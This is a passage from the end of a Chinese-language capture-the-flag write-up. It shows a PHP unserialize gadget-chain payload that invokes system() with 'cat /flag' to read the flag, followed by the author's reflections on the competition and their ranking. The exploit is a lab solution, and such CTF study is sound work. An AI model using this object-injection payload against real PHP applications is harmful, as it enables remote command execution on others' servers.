//O:1:"A":1:{s:4:"data";O:1:"B":1:{s:5:"cache";a:1:{s:5:"close";a:2:{i:0;O:1:"C":2:{s:4:"evil";s:6:"system";s:5:"arggg";s:9:"cat /flag";}i:1;s:7:"evallll";}}}}
?>

构造payload

1
sssssss=O:1:"A":1:{s:4:"data";O:1:"B":1:{s:5:"cache";a:1:{s:5:"close";a:2:{i:0;O:1:"C":2:{s:4:"evil";s:6:"system";s:5:"arggg";s:9:"cat /flag";}i:1;s:7:"evallll";}}}}

最终得到flagctf{Y0u_r_g00d_4t_PHp!!1!}

1.png

后谈

别问PWN去哪了,如果不是真的不会,谁有愿意不做的。

另外今年还上线了BLOCKCHAIN区块链,但是这签到题我本以为手到擒来,结果交易哈希要在测试链查,淦,我主链查了老半天,我还以为自己对区块链有什么大的错误解读……

也许是宣传到位了,今年的参赛选手多了许多,很多大佬都来了(19,20的研究生也算新生吧…),加上新的计分制度(越多人做出来题目分越低,分数动态变化,而不是去年的先做出来得分高),让我这个菜鸟很难受啊,还得全栈爷爷带带我!!!

cut20201115205735.png

最后的排名也12,但多少可以拿点奖金,聊胜于无吧。今后应该也是没什么动力去玩CTF了,学了杂七杂八的东西后现在都不知道去学什么好。密码学,堆栈相关,计算机组成原理,计算机网络……还有区块链,感觉都可以去深入。

打比赛这几天确实是很欢乐,拼命的去思考也是,群里各种沙雕聊天也是,忙碌得天天吃泡面也是(原神都没清体力两天了),都是难得得校园记忆。加油吧,网安人!